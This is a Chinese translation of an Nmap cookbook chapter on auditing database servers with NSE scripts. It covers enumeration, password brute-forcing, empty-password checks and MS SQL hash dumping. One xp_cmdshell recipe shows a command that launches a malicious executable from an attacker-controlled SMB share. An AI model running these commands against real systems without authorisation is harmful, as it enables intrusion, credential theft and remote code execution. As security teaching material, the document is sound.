NMAP:网络探索和安全审计手册 Chapter5 扫描数据库

本章包括以下食谱:

  • 列出 MySQL 数据库

  • 列出 MySQL 用户

  • 列出 MySQL 变量

  • 暴力破解 MySQL 密码

  • 查找MySQL服务器中密码为空的根账户

  • 检测MySQL服务器中的不安全配置

  • 暴力破解 Oracle 密码

  • 暴力破解 Oracle SID 名称

  • 从 MS SQL 服务器检索信息

  • 暴力破解 MS SQL 密码

  • 转储 MS SQL 服务器的密码哈希值

  • 在 MS SQL 服务器中通过 xp_cmdshell 运行命令

  • 在 MS SQL 服务器中查找密码为空的系统管理员账户

  • 从启用 NTLM 的 MS SQL 服务器中获取信息

  • 检索 MongoDB 服务器信息

  • 检测未启用身份验证的 MongoDB 实例

  • 列出 MongoDB 数据库

  • 列出 CouchDB 数据库

  • 检索 CouchDB 数据库统计信息

  • 检测未启用身份验证的 Cassandra 数据库

  • 暴力破解 Redis 密码

  • 扫描数据库

引言

应用程序必须存储不同类型的信息。根据具体情况,可能需要在某个地方存储数百万条记录,这就是数据库的作用所在。数据库服务器至关重要,因为它们提供了管理信息的便捷方式,而且编程 API 几乎适用于任何语言和数据库类型。

Nmap NSE 增加了对众多数据库服务器的支持。系统管理员会发现这非常方便,因为他们可以在处理众多数据库服务器时自动执行多项任务,例如运行查询以通知我们状态。另一方面,确保数据库服务器的安全必须小心谨慎,其重要性不亚于确保网络服务器的安全。Nmap 还支持自动操作,如检查空根密码和不安全配置,从而帮助我们解决这个问题。

本章将介绍针对 MySQL、MS SQL 和 Oracle 等最常见关系型数据库以及 CouchDB、Apache Cassandra、Redis 和 MongoDB 等一些 NoSQL 数据库的不同 NSE 脚本。我们首先介绍一些简单的任务,如检索状态信息、列出数据库、表和实例。我们还将介绍暴力密码审计,以便发现数据库中的弱密码,或者在某些情况下根本没有密码,因为这在渗透测试评估中很常见。在本章中,我还将讲述我最喜欢的一个 NSE 脚本,它是利用 CIS MySQL 安全基准的部分内容编写的,用于审计不安全配置。学完本章后,我希望你能学会如何使用这些功能强大的 NSE 脚本对数据库基础架构实施不同的安全性和完整性检查。

列出 MySQL 数据库

MySQL 服务器支持在每个实例中存储多个数据库。作为拥有合法访问权限的系统管理员或刚刚入侵服务器的渗透测试人员,我们可以使用 Nmap 列出可用的数据库。当我们没有 MySQL 客户端来快速检查数据库中存储了哪些信息时,这一点尤其有用。

本食谱教授如何使用 Nmap NSE 列出 MySQL 服务器中的数据库。

How to do it...

打开终端,输入以下命令

$ nmap -p3306 --script mysql-databases --script-args mysqluser=<user>,mysqlpass=<password> <target> 

数据库应列在脚本结果下:

 3306/tcp open mysql 
 | mysql-databases: 
 | information_schema 
 | temp 
 | websec 
 | ids 
 |_ crm 

How it works...

参数 -p3306 --script mysql-databases --script-args mysqluser=,mysqlpass=告诉 Nmap 使用给定的凭证 (--script-argsmysqluser=,mysqlpass=) 尝试连接 MySQL 服务器,并列出服务器中所有可用的数据库。 并列出服务器中所有可用的数据库。

mysql-databases 脚本由 Patrik Karlsson 编写,用于帮助 Nmap 用户枚举 MySQL 服务器中的数据库。

There's more...

要在发现空根帐户时枚举数据库,我们可以使用以下命令:

$ nmap -p3306 --script mysql-empty-password,mysql-databases <target> 

检查空密码的脚本将首先执行,如果发现有效凭据,它们将被 mysql-databases 脚本使用、 将被 mysql-databases 脚本使用:

 PORT STATE SERVICE REASON 
 3306/tcp open mysqlsyn-ack 
 | mysql-brute: 
 | Accounts: 
 | root:gusanito - Valid credentials 
 |_ Statistics: Performed 49994 guesses in 110 seconds, average tps:  521.3 
 | mysql-databases: 
 | information_schema 
 | mysql 
 | performance_schema 
 |_ sys 

如果服务运行在不同于 3306 的端口上,我们可以使用 Nmap 的服务检测 (-sV) (-sV) 并使用参数 -p 手动设置端口:

$ nmap -sV --script mysql-databases <target> 
$ nmap -p1111 -sV --script mysql-databases <target> 

列出 MySQL用户

MySQL 服务器支持访问数据库的细粒度权限。如果我们拥有访问 mysql.user 表的凭证,就可以列出 MySQL 服务器中的所有用户。这就是为什么要尽可能限制用户权限的原因。下面的配方展示了如何使用 Nmap 枚举 MySQL 服务器中的用户。

How to do it...

打开终端,输入以下命令:

$ nmap -p3306 --script mysql-users --script-args mysqluser=<username>,mysqlpass=<password> <target> 

如果提供的凭据可以访问 mysql.user 表,用户列表将包含在脚本输出中:

 PORT STATE SERVICE 
 3306/tcp open mysql 
 | mysql-users: 
 | root 
 | crm 
 | web 
 |_ admin 

How it works...

参数 -p3306 --script mysql-users --script-argsmysqluser=,mysqlpass= 使 Nmap 在 3306 端口发现 MySQL 服务器时启动 mysql-users 脚本。

mysql-users 脚本由 Patrik Karlsson 提交,它会使用给定的身份验证凭据枚举 MySQL 服务器中的用户名。如果没有使用 --script-args mysqluser 和 mysqlpass 设置身份验证凭据,它将尝试使用 mysql-brute 和 mysql-empty-password 的结果。

There's more...

要枚举 MySQL 安装中带有空密码 root 账户的数据库和用户,请使用以下命令:

$ nmap -sV --script mysql-empty-password,mysql-databases,mysql-users <target> 

如果 MySQL 服务器运行在不同于 3306 的端口上,可以使用 Nmap 的服务扫描 (-sV) 并通过参数 -p 手动设置端口:

$ nmap -sV --script mysql-users <target> 
$ nmap -sV -p1345 --script mysql-users <target> 

列出 MySQL 变量

MySQL 服务器有几个环境变量,系统管理员和网络开发人员以不同方式使用它们。

本食谱向您展示如何使用 Nmap 列出 MySQL 服务器中的环境变量。

How to do it...

打开终端,输入以下命令:

$ nmap -p3306 --script mysql-variables --script-args mysqluser=<root>,mysqlpass=<pass> <target> 

MySQL 变量将列在脚本输出下:

 3306/tcp open mysql 
 | mysql-variables: 
 | auto_increment_increment: 1 
 | auto_increment_offset: 1 
 | automatic_sp_privileges: ON 
 | back_log: 50 
 | basedir: /usr/ 
 | binlog_cache_size: 32768 
 | bulk_insert_buffer_size: 8388608 
 | character_set_client: latin1 
 | character_set_connection: latin1 
 | character_set_database: latin1 
 | version_comment: (Debian) 
 | version_compile_machine: powerpc 
 | version_compile_os: debian-linux-gnu 
 |_ wait_timeout: 28800 

How it works...

参数 -p3306 --script mysql-variables --script-args mysqluser=,mysqlpass= 使 Nmap 在发现 MySQL 服务器在 3306 端口运行时启动 mysql-variables 脚本。

mysql-variables 脚本由 Patrik Karlsson 提交,它使用 --script -args mysqluser 和 mysqlpass 作为 MySQL 服务器的身份验证凭据,尝试枚举系统变量。

There's more...

如果 MySQL 服务器运行在不同于 3306 的端口上,我们可以使用 Nmap 的服务检测,并使用参数 -p 手动设置端口:

$ nmap -sV --script mysql-variables <target> 
$ nmap -p5555 -sV --script mysql-variables <target> 

要从根密码为空的 MySQL 服务器中检索数据库、用户名和变量,请使用以下命令:

$ nmap -sV --script mysql-variables,mysql-empty-password,mysql-databases,mysql-users <target> 

暴力破解 MySQL 密码

有几种方法可以获取有效的 MySQL 用户名。例如,网络服务器有时会返回数据库连接错误,显示网络应用程序使用的 MySQL 用户名。渗透测试人员可利用此信息执行暴力密码审计攻击,获取敏感信息的访问权限。

本教程介绍如何使用 Nmap 对 MySQL 服务器发起字典攻击。

How to do it...

要对 MySQL 服务器执行暴力密码审计,请使用以下命令:

$ nmap -p3306 --script mysql-brute <target> 

如果找到有效凭据,它们将包含在 mysql-brute 输出部分:

 3306/tcp open mysql 
 | mysql-brute: 
 | root:<empty> => Valid credentials 
 |_ test:test => Valid credentials 

How it works...

mysql-brute 脚本由 Patrik Karlsson 编写,在审计 MySQL 服务器的弱密码时很有帮助。它通过字典攻击来查找有效凭证。成功率显然取决于运行脚本时使用的字典文件。不过,如果存在不良的密码使用习惯,并且有用户使用弱密码,那么该脚本就会非常有效。

There's more...

MySQL 服务器可能在非标准端口上运行。您可以指定参数 -p 并使用 Nmap 的服务检测 -sV 手动设置端口:

$ nmap -p1234 --script mysql-brute <target> 

NSE 脚本 mysql-brute 依赖于可高度配置的 brute 库。阅读附录 B "暴力密码审计选项",进一步了解可用的高级选项。

在 MySQL 服务器中查找密码为空的 root 账户

新的系统管理员和分心的用户经常会犯一个错误,就是不给 MySQL 服务器的 root 账户设置密码。这是一个公然的安全漏洞,可能会被攻击者利用。渗透测试人员和系统管理员需要抢在坏人之前发现这些漏洞。

本教程将向您展示如何使用 Nmap 检查 MySQL 服务器中的空根密码。

How to do it...

打开终端,输入以下命令 :

$ nmap -p3306 --script mysql-empty-password <target> 

如果 root 或匿名账户的密码为空,则会显示在脚本结果中:

 Nmap scan report for 127.0.0.1 
 Host is up (0.11s latency). 
 3306/tcp open mysql 
 | mysql-empty-password: 
 |_ root account has empty password 

How it works...

参数 -p3306 --script mysql-empty-password 使 Nmap 在发现 MySQL 服务器在 3306 端口运行时启动 NSE 脚本 mysql-empty-password。

mysql-empty-password 脚本由 Patrik Karlsson 提交,它连接到 MySQL 服务器并尝试使用空密码登录 root 和匿名账户。

There's more...

要尝试自定义用户名列表,需要修改位于脚本目录下的 mysql-empty-password.nse NSE 脚本。在文件中找到以下一行:

local users = {"", "root"} 

将其替换为您自己的用户名列表,如下所示:

local users = {"plesk", "root","cpanel","test","db"} 

只需保存并按之前所示运行即可:

$ nmap -sV --script mysql-empty-password <target> 
$ nmap -p3311 -sV --script mysql-empty-password <target> 

检测 MySQL 服务器中的不安全配置

数据库中不安全的配置可能会被攻击者滥用。互联网安全中心(CIS)发布了一个 MySQL 安全基准,Nmap 可以使用它来审计 MySQL 服务器的安全配置。

本食谱介绍如何使用 Nmap 检测 MySQL 服务器中的不安全配置。

How to do it...

要检测 MySQL 服务器中的不安全配置,请输入以下命令:

$ nmap -p3306 --script mysql-audit --script-args 'mysql-audit.username="<username>",mysql-audit.password="<password>",mysql-audit.filename=/usr/local/share/nmap/nselib/data/mysql-cis.audit' <target> 

将对每个对照进行审查,并在结果中注明 "通过"、"未通过 "或 "审查",具体如下:

 PORT STATE SERVICE 
 3306/tcp open mysql 
 | mysql-audit: 
 | CIS MySQL Benchmarks v1.0.2 
 | 3.1: Skip symbolic links => PASS 
 | 3.2: Logs not on system partition => PASS 
 | 3.2: Logs not on database partition => PASS 
 | 4.1: Supported version of MySQL => REVIEW 
 | Version: 5.1.41-3ubuntu12.10 
 | 4.4: Remove test database => PASS 
 | 4.5: Change admin account name => FAIL 
 | 4.7: Verify Secure Password Hashes => PASS 
 | 4.9: Wildcards in user hostname => PASS 
 | 4.10: No blank passwords => PASS 
 | 4.11: Anonymous account => PASS 
 | 5.1: Access to mysql database => REVIEW 
 | Verify the following users that have access to the MySQL  database 
 | user host 
 | root localhost 
 | root builder64 
 | root 127.0.0.1 
 | debian-sys-maint localhost 
 | 5.2: Do not grant FILE privileges to non Admin users => PASS 
 | 5.3: Do not grant PROCESS privileges to non Admin users => PASS 
 | 5.4: Do not grant SUPER privileges to non Admin users => PASS 
 | 5.5: Do not grant SHUTDOWN privileges to non Admin users => PASS 
 | 5.6: Do not grant CREATE USER privileges to non Admin users  => PASS 
 | 5.7: Do not grant RELOAD privileges to non Admin users =>  PASS 
 | 5.8: Do not grant GRANT privileges to non Admin users =>  PASS 
 | 6.2: Disable Load data local => FAIL 
 | 6.3: Disable old password hashing => PASS 
 | 6.4: Safe show database => FAIL 
 | 6.5: Secure auth => FAIL 
 | 6.6: Grant tables => FAIL 
 | 6.7: Skip merge => FAIL 
 | 6.8: Skip networking => FAIL 
 | 6.9: Safe user create => FAIL 
 | 6.10: Skip symbolic links => FAIL 
 | 
 |_ The audit was performed using the db-account: root 

How it works...

参数 -p3306 --script mysql-audit 命令 Nmap 在发现 MySQL 服务器在 3306 端口运行时启动 NSE 脚本 mysql-audit。

mysql-audit 脚本由 Patrik Karlsson 开发,它使用 CIS MySQL 的部分基准检查不安全配置。它还非常灵活,可通过指定备用规则进行自定义检查。脚本需要凭证才能执行用于获取配置信息的查询。

There's more...

如果你的 MySQL 服务器拥有 root 和 debian-sys-maint 以外的管理账户,你应该在 <nmap_path>/nselib/data/mysql-cis.audit 中找到以下行,并添加它们来设置脚本:

local ADMIN_ACCOUNTS={"root", "debian-sys-maint". "web"} 

Remember that you can write your own rules in a separate file and use the script argument mysql-audit.fingerprintfile to reference this. Audit rules look something like the following:

test { id="3.1", desc="Skip symbolic links", sql="SHOW variables WHERE Variable_name = 'log_error' AND Value IS NOT NULL", check=function(rowstab) 
 return { status = not(isEmpty(rowstab[1])) } 
end 
} 

MySQL 服务器可能在非标准端口上运行。使用 Nmap 的服务检测 (-sV) 并通过指定端口参数 (-p) 手动设置端口:

$ nmap -sV --script mysql-brute <target> 
$ nmap -sV -p1234 --script mysql-brute <target> 

暴力破解 Oracle 密码

管理多个数据库的系统管理员经常需要检查弱口令,这是组织政策的一部分。渗透测试人员也会利用弱口令获取未经授权的访问。方便的是,Nmap NSE 提供了一种针对 Oracle 数据库服务器执行远程暴力密码审计的方法。

本教程介绍如何使用 Nmap 对 Oracle 执行暴力密码审计。

How to do it...

打开终端,使用以下命令运行 Nmap:

$ nmap -sV --script oracle-brute --script-args oracle-brute.sid=TEST <target> 

找到的任何有效凭证都将包含在脚本输出部分的结果中:

 PORT STATE SERVICE REASON 
 1521/tcp open oracle syn-ack 
 | oracle-brute: 
 | Accounts 
 | system:system => Valid credentials 
 | Statistics 
 |_ Perfomed 103 guesses in 6 seconds, average tps: 17 

How it works...

参数 -sV --script oracle-brute --script-args oracle-brute.sid=TEST 使 Nmap 在检测到 Oracle 服务器时针对实例 TEST 启动脚本 oracle-brute。

oracle-brute 脚本由 Patrik Karlsson 提交,它可以帮助渗透测试人员和系统管理员对 Oracle 服务器发起字典攻击,以获取有效凭证。默认情况下,它使用一个默认凭据数据库,但也可以提供自定义的用户名和密码列表。

There's more...

更新文件 nselib/data/oracle-default-accounts.lst,添加任何默认账户,以便在不带参数运行脚本时进行测试。如果要使用不同的字典,请使用脚本参数 userdb 和 passdb:

$nmap --script oracle-brute --script-args oracle-brute.sid=TEST,userdb=<path to user db>,passdb=<path to pass db> <target> 

NSE 脚本 oracle-brute 依赖于可高度配置的 brute 库。阅读附录 B "暴力密码审计选项",了解更多可用的高级选项。

暴力破解 Oracle SID 名称

Oracle SID 名称用于识别数据库实例。TNS 监听器服务允许我们尝试字典攻击来查找有效的 SID 名称。 本食谱介绍如何使用 Nmap 强行搜索 Oracle SID 名称。

How to do it...

要暴力破解 Oracle SID 名称,请使用以下 Nmap 命令:

$ nmap -sV --script oracle-sid-brute <target> 

找到的所有 SID 都将包含在 oracle-sid-brute 的 NSE 脚本输出部分:

 PORT STATE SERVICE REASON 
 1521/tcp open oracle syn-ack 
 | oracle-sid-brute: 
 | orcl 
 | prod 
 |_ devel 

How it works...

参数 -sV --script oracle-sid-brute 告诉 Nmap 启动服务检测 (-sV) 并使用 NSE 脚本 oracle-sid-brute。

NSE 脚本 oracle-sid-brute 由 Patrik Karlsson 提交,用于帮助渗透测试人员通过对 Oracle TNS 服务执行字典攻击来枚举 Oracle SID。脚本使用常见 SID 名称列表来尝试查找有效的 SID。如果主机上有正在运行的 oracle-tns 服务或 1521 端口已打开,该脚本就会被执行。

There's more...

默认情况下,脚本使用位于 <nmap_path>/nselib/data/oracle-sids 的字典,但也可以通过设置脚本参数 oraclesids 来指定不同的文件:

$ nmap -sV --script oracle-sid-brute --script-args oraclesids=/home/pentest/sids.txt <target> 

从 MS SQL 服务器检索信息

系统管理员和渗透测试人员经常需要收集尽可能多的主机信息。MS SQL 数据库在基于微软技术的基础设施中很常见,Nmap 可以帮助我们从中收集信息,如版本号、产品和实例名称。

本食谱展示了如何使用 Nmap 从 MS SQL 服务器检索信息。

How to do it...

要使用 Nmap 从 MS SQL 服务器检索信息,请运行以下命令:

$ nmap -p1433 --script ms-sql-info <target> 

MS SQL 服务器信息(如实例名称、版本号和端口)将包含在脚本输出中:

 PORT STATE SERVICE 
 1433/tcp open ms-sql-s 
 Host script results: 
 | ms-sql-info: 
 | Windows server name: CLDRN-PC 
 | [192.168.1.102\MSSQLSERVER] 
 | Instance name: MSSQLSERVER 
 | Version: Microsoft SQL Server 2011 
 | Version number: 11.00.1750.00 
 | Product: Microsoft SQL Server 2011 
 | TCP port: 1433 
 |_ Clustered: No 

How it works...

MS SQL 服务器通常在端口 1433 上运行。如果 MS SQL 服务器在该端口上运行,我们使用参数 -p1433 --script ms-sql-info 启动 NSE 脚本 ms-sql-info。

ms-sql-info 脚本由 Chris Woodbury 和 Thomas Buchanan 提交。它连接到 MS SQL 服务器,并检索实例名称、版本名称、版本号、产品名称、服务包级别、补丁列表、TCP/UDP 端口,并确定是否集群。如果 SQL 服务器浏览器服务可用(UDP 1434 端口),它将从该服务中收集这些信息,或者从对该服务的探测中收集这些信息。

There's more...

如果 445 端口已打开,则可以通过管道获取信息。需要设置参数 mssql.instance-name 或 mssql.instance-all :

$ nmap -sV --script-args mssql.instance-name=MSSQLSERVER --script ms sql-info -p445 -v <target> 
$ nmap -sV --script-args mssql.instance-all --script ms-sql-info -p445 -v <target> 

输出结果如下

 PORT STATE SERVICE VERSION 
 445/tcp open netbios-ssn 
 Host script results: 
 | ms-sql-info: 
 | Windows server name: CLDRN-PC 
 | [192.168.1.102\MSSQLSERVER] 
 | Instance name: MSSQLSERVER 
 | Version: Microsoft SQL Server 2011 
 | Version number: 11.00.1750.00 
 | Product: Microsoft SQL Server 2011 
 | TCP port: 1433 
 |_ Clustered: No 

仅在 MS SQL 的 NSE 脚本中强制扫描端口

NSE 脚本 ms-sql-brute、ms-sql-config.nse、ms-sql-empty-password、ms-sql-hasdbaccess.nse、ms-sql-info.nse、ms-sql-query.nse、ms-sql-tables.nse 和 ms-sql-xp-cmdshell.nse 可能会尝试连接到扫描中未包含的端口。要限制 NSE 只使用扫描的端口,请使用参数 mssql.scanned-ports-only:

$ nmap -p1433 --script-args mssql.scanned-ports-only --script ms-sql-* -v <target> 

暴力破解 MS SQL 密码

作为企业安全策略的一部分,系统管理员和渗透测试人员经常需要检查弱密码。Nmap 可以帮助我们对 MS SQL 服务器进行字典攻击。

本食谱展示了如何使用 Nmap 对 MS SQL 服务器执行暴力密码审计。

How to do it...

要对 MS SQL 服务器执行暴力密码审计,请运行以下 Nmap 命令:

$ nmap -p1433 --script ms-sql-brute <target> 

如果找到任何有效账户,它们将包含在脚本输出部分:

 PORT STATE SERVICE 
 1433/tcp open ms-sql-s 
 | ms-sql-brute: 
 | [192.168.1.102:1433] 
 | Credentials found: 
 |_ sa:karate 

How it works...

MS SQL 服务器通常在 TCP 1433 端口上运行。如果发现 MS SQL 服务器在 1433 端口上运行,-p1433 --script ms-sql-brute 参数将启动 NSE 脚本 ms-sql-brute。

ms-sql-brute 脚本由 Patrik Karlsson 编写。它针对 MS SQL 数据库执行暴力密码审计。如果没有传递脚本参数,它将使用 Nmap 随附的通用用户名和密码列表。在这种情况下,可以使用前面的命令查找具有常用账户和弱密码的实例。要进行更全面的测试,需要使用更广泛的密码列表并自定义用户列表。例如,超级管理员账户 (sa) 就不在默认用户名列表中。如果我们使用的是 mssql,我强烈建议你在测试中加入这个用户名。拥有 sa 访问权限的 mssql 实例通常意味着在机器上执行代码。

本脚本依赖于 mssql 库。

有关其支持选项的更多信息,请访问 http://nmap.org/nsedoc/lib/mssql.html。

There's more...

数据库服务器可能运行在非标准端口上。您可以指定参数 -p 并使用 Nmap 的服务检测功能手动设置端口:

$ nmap -sV --script ms-sql-brute <target> 
$ nmap -sV -p 1234 --script ms-sql-brute <target> 

请记住,如果 SMB 端口已打开,我们可以通过设置参数 mssql.instance-all 或 mssql.instance-name 使用管道运行此脚本:

$ nmap -p445 --script ms-sql-brute --script-args mssql.instance-all <target>  

NSE 脚本 ms-sql-brute 依赖于可高度配置的 brute 库。请阅读附录 B "暴力密码审计选项",进一步了解可用的高级选项。

转储 MS SQL 服务器的密码哈希值

在访问 MS SQL 服务器后,我们可以转储服务器的所有密码哈希值,从而入侵其他账户。Nmap 可以帮助我们以破解工具 John the Ripper 可用的格式检索这些哈希值。

本教程展示了如何使用 Nmap 转储 MS SQL 服务器的密码哈希值。

How to do it...

要转储系统管理员密码为空的 MS SQL 服务器的所有密码哈希值,请运行以下 Nmap 命令:

$ nmap -p1433 --script ms-sql-empty-password,ms-sql-dump-hashes <target> 

密码哈希值将包含在 ms-sql-dump-hashes 脚本输出部分:

 PORT STATE SERVICE VERSION 
 1433/tcp open ms-sql-s Microsoft SQL Server 2011 
 Service Info: CPE: cpe:/o:microsoft:windows 
 Host script results: 
 | ms-sql-empty-password: 
 | [192.168.1.102\MSSQLSERVER] 
 |_ sa:<empty> => Login Success 
 | ms-sql-dump-hashes: 
 | [192.168.1.102\MSSQLSERVER] 
 |  
 sa:0x020039AE3752898DF2D260F2D4DC7F09AB9E47BAB2EA3E1A472F4 
 9520C26E206D0613E34E92BF929F53C463C5B7DED53738A7FC0790DD68CF1 
 565469207A50F98998C7E5C610 
 |  
 ##MS_PolicyEventProcessingLogin##:0x0200BB8897EC23F14FC9FB8BFB0A9 
 6B2F541ED81F1103FD0FECB94D269BE15889377B69AEE4916307F3701C4A61F0D 
 FD9946209258A4519FE16D9204580068D2011F8FBA7AD4 
 |_ 
 ##MS_PolicyTsqlExecutionLogin##:0x0200FEAF95E21A02AE55D76F68067DB0 
 2DB59AE84FAD97EBA7461CB103361598D3683688F83019E 
 931442EC3FB6342050EFE6ACE4E9568F69D4FD4557C2C443243E240E66E10 

How it works...

MS SQL 服务器通常在 TCP 1433 端口上运行。参数 -p1433 --script ms-sql-empty-password,ms-sql-dump-hashes可启动脚本 ms-sql-empty-password,该脚本会查找一个密码为空的系统管理员账户,如果发现有 MS SQL 服务器在 1433 端口上运行,就会运行脚本 ms-sql-dump-hashes。

ms-sql-dump-hashes 脚本由 Patrik Karlsson 编写,其功能是以 John the Ripper 等破解工具可用的格式检索 MS SQL 服务器的密码哈希值。该脚本依赖于 mssql 库。

如需了解更多信息,请访问 http://nmap.org/nsedoc/lib/mssql.html。

There's more...

要为 MySQL 使用特定的用户名和密码,请使用脚本参数 username 和 password:

$ nmap -p1433 --script ms-sql-dump-hashes --script-args username=<user>,password=<password> <target> 

如果 SMB 端口已打开,则可以通过设置参数 mssql.instance-all 或 mssql.instance-name 使用管道运行此脚本:

 PORT STATE SERVICE 
 445/tcp open microsoft-ds 

 Host script results: 
 | ms-sql-empty-password: 
 | [192.168.1.102\MSSQLSERVER] 
 |_ sa:<empty> => Login Success 
 | ms-sql-dump-hashes: 
 | [192.168.1.102\MSSQLSERVER] 
 |  
 sa:0x020039AE3752898DF2D260F2D4DC7F09AB9E47BAB2EA3E1A472F 
 49520C26E206D0613E34E92BF929F53C463C5B7DED53738A7FC0790DD68 
 CF1565469207A50F98998C7E5C610 
 |  
 ##MS_PolicyEventProcessingLogin##:0x0200BB8897EC23F14FC9FB8BFB0A 
 96B2F541ED81F1103FD0FECB94D269BE15889377B69AEE4916307F3701C4A61F0D 
 FD9946209258A4519FE16D9204580068D2011F8FBA7AD4 
 |_ 
 ##MS_PolicyTsqlExecutionLogin##:0x0200FEAF95E21A02AE55D76F68067DB 
 02DB59AE84FAD97EBA7461CB103361598D3683688F83019E931442EC3FB6342050 
 EFE6ACE4E9568F69D4FD4557C2C443243E240E66E10 

在 MS SQL 服务器中通过 xp_cmdshell 运行命令

MS SQL 服务器有一个名为 xp_cmdshell 的存储过程。该功能允许程序员通过 MS SQL 服务器执行命令。很多环境都启用了该功能,如果攻击者获得一组凭据,尤其是拥有系统权限的 MS SQL 超级管理员账户,那么该功能就非常危险。

本教程介绍如何使用 Nmap 通过 MS SQL 服务器运行 Windows 命令。

How to do it...

打开终端,输入以下 Nmap 命令,检查 xp_cmdshell 是否已启用:

$ nmap --script-args 'mssql.username="<user>",mssql.password="<password>"' --script ms-sql-xp-cmdshell -p1433 <target> 

如果出错,将返回错误信息。否则,你应该看到命令的输出:

 PORT STATE SERVICE VERSION 
 1433/tcp open ms-sql-s Microsoft SQL Server 2011 11.00.1750.00 
 | ms-sql-xp-cmdshell: 
 | [192.168.1.102:1433] 
 | Command: net user 
 | output 
 | ====== 
 | 
 | User accounts for \\ 
 | 
 | ----------------------------------------------------------- 
 | Administrator cldrn Guest 
 | postgres 
 | The command completed with one or more errors. 
 | 
 |_ 

How it works...

MS SQL 服务器通常在 TCP 1433 端口上运行。参数 --script-args 'mssql.username="",mssql.password=""' --script ms-sql-xp-cmdshell -p1433 使 Nmap 启动脚本 ms-sql-xp-cmdshell,并设置 MS SQL 服务器在端口 1433 上运行时使用的身份验证凭据。

ms-sql-xp-cmdshell 脚本由 Patrik Karlsson 编写。它试图通过存储过程 xp_cmdshell 运行操作系统命令,以检查其是否启用。该脚本依赖于 mssql 库。其文档可在 http://nmap.org/nsedoc/lib/mssql.html 上找到。

There's more...

默认情况下,ms-sql-xp-cmdshell 会尝试运行 ipconfig /all,但您可以使用脚本参数 ms-sql-xp-cmdshell.cmd 指定不同的命令:

$ nmap --script-args 'ms-sql-xp-cmdshell.cmd="<command>",mssql.username="<user>",mssql.password=""' --script ms-sql-xp-cmdshell -p1433 <target> 

例如,我们可以滥用这一功能,执行托管在我们控制的共享 SMB 文件夹中的恶意可执行文件:

$ nmap --script-args 'ms-sql-xp-cmdshell.cmd="start \\192.168.1.10\shared\updater.exe",mssql.username=sa,mssql.password=karate' --script ms-sql-xp-cmdshell -p1433 <target> 

如果服务器未启用 xp_cmdshell 程序,则会出现以下信息:

 | ms-sql-xp-cmdshell: 
 | (Use --script-args=ms-sql-xp-cmdshell.cmd='<CMD>' to change  
 command.) 
 | [192.168.1.102\MSSQLSERVER] 
 |_ Procedure xp_cmdshell disabled. For more information see  
 "Surface Area Configuration" in Books Online. 

如果您没有提供任何有效的身份验证凭据,系统将显示以下信息:

 | ms-sql-xp-cmdshell: 
 | [192.168.1.102:1433] 
 |_ ERROR: No login credentials. 

请记住,您可以将此脚本与 ms-sql-empty-password 结合使用,以自动发现带有超级管理员账户的 MS SQL 服务器,并启用空密码和 xp_cmdshell:

$ nmap --script ms-sql-xp-cmdshell,ms-sql-empty-password -p1433 <target> 

在 MS SQL 服务器中查找密码为空的系统管理员账户

渗透测试人员经常需要检查管理员账户是否有弱密码。在 Nmap NSE 的帮助下,我们可以轻松检查 MS SQL 实例是否有一个空密码的系统管理员 (sa) 帐户。

本食谱教我们如何使用 Nmap 查找系统管理员密码为空的 MS SQL 服务器。

How to do it...

要查找 sa 账户为空的 MS SQL 服务器,请打开终端并输入以下 Nmap 命令:

$ nmap -p1433 --script ms-sql-empty-password -v <target> 

如果发现密码为空的账户,则会将其包含在脚本输出部分:

 PORT STATE SERVICE 
 1433/tcp open ms-sql-s 
 | ms-sql-empty-password: 
 | [192.168.1.102:1433] 
 |_ sa:<empty> => Login Success 

How it works...

参数 -p1433 --script ms-sql-empty-password 使 Nmap 在发现 MS SQL 服务器在端口 1433 上运行时启动 NSE 脚本 ms-sql-empty-password。

ms-sql-empty-password 脚本由 Patrik Karlsson 提交,Chris Woodbury 对其进行了改进。它尝试使用用户名 sa(系统管理员账户)和空密码连接 MS SQL 服务器。不幸的是,应用程序或服务默认使用这种配置的情况并不少见。由于该账户具有系统权限,攻击者可以滥用它来提升权限。

There's more...

如果 445 端口已打开,则可以使用它通过管道获取信息。需要设置参数 mssql.instance-name 或 mssql.instance-all:

$ nmap -sV --script-args mssql.instance-name=MSSQLSERVER --script ms-sql-empty-password -p445 -v <target> 
$ nmap -sV --script-args mssql.instance-all --script ms-sql-empty-password -p445 -v <target> 

输出结果如下

 PORT STATE SERVICE VERSION 
 445/tcp open netbios-ssn 
 Host script results: 
 | ms-sql-empty-password: 
 | [192.168.1.102\MSSQLSERVER] 
 |_ sa:<empty> => Login Success 

仅在 MS SQL 脚本中强制扫描端口

NSE 脚本 ms-sql-brute、ms-sql-config.nse、ms-sql-empty-password、ms-sql-hasdbaccess.nse、ms-sql-info.nse、ms-sql-query.nse、ms-sql-tables.nse 和 ms-sql-xp-cmdshell.nse 可能会尝试连接到扫描中未包含的端口。要限制 NSE 只使用扫描的端口,请使用参数 mssql.scanned-ports-only:

$ nmap -p1433 --script-args mssql.scanned-ports-only --script ms-sql-* -v <target> 

从启用 NTLM 的 MS SQL 服务器获取信息

采用 NTLM 身份验证的 MS SQL 服务器会披露 NetBIOS、DNS 和操作系统构建版本信息。这些信息非常有用,可以在没有身份验证的情况下准确地对系统进行指纹识别。

本食谱演示了如何使用 Nmap 从启用了 NTLM 身份验证的 MS SQL 服务器中提取信息。 启用 NTLM 身份验证的 MS SQL 服务器中提取信息。

How to do it...

使用以下 Nmap 命令从使用 NTLM 身份验证的 MS SQL 服务器获取信息:

$nmap -p1433 --script ms-sql-ntlm-info <target> 

结果将包括脚本输出部分中的 NetBIOS、DNS 和操作系统构建版本信息,如下所示:

 1433/tcp open ms-sql-s 
 | ms-sql-ntlm-info: 
 | Target_Name: TESTSQL 
 | NetBIOS_Domain_Name: TESTSQL 
 | NetBIOS_Computer_Name: DB-TEST 
 | DNS_Domain_Name: 0xdeadbeefcafe.com 
 | DNS_Computer_Name: db-test.0xdeadbeefcafe.com 
 | DNS_Tree_Name: 0xdeadbeefcafe.com 
 |_ Product_Version: 6.1.7420 

How it works...

参数 -p1433 --script ms-sql-ntlm-info 命令 Nmap 针对运行在 1433 端口的 MS SQL 服务器启动 ms-sql-ntlm-info 脚本。该脚本最初由 Justin Cacak 提交,用于在身份验证前从目标中提取信息。

ms-sql-ntlm-info 脚本的工作原理是发送畸形的 MS-TDS NTLM 身份验证请求,导致服务器响应 NT LAN Manager Security Support Provider (NTLMSSP) 消息,揭示前面提到的信息。

There's more...

